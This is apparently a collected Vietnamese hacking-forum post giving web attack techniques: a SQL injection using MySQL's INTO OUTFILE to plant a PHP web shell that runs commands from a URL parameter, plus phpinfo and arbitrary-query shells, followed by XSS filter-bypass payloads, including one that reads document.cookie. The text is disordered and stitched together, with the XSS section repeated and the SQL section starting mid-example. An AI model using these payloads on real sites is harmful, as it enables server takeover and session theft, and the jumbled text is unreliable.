0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số vì dụ:
// PHP SHELL
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE('FILENAME') chặn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
(Sưu tầm)
Bypass XSS filters
Đa số các "bộ lọc" sẽ sử dụng cách cơ bản nhất là chặn các thẻ <script></script>.
Chúng ta sẽ cùng xem một số VD sau:
+Sử dụng các thuộc tính của các thẻ html:
+Sử dụng thuộc tính SRC:
+Sử dụng URI đã được encode base64
Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại: http://ha.ckers.org/xss.html
Chúng ta sẽ cùng xem một số VD sau:
+Sử dụng các thuộc tính của các thẻ html:
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
+Sử dụng thuộc tính SRC:
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">Encode nội dung (UTF-8)
<IMG SRC=javascript:alert('XSS')>
+Sử dụng URI đã được encode base64
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại: http://ha.ckers.org/xss.html
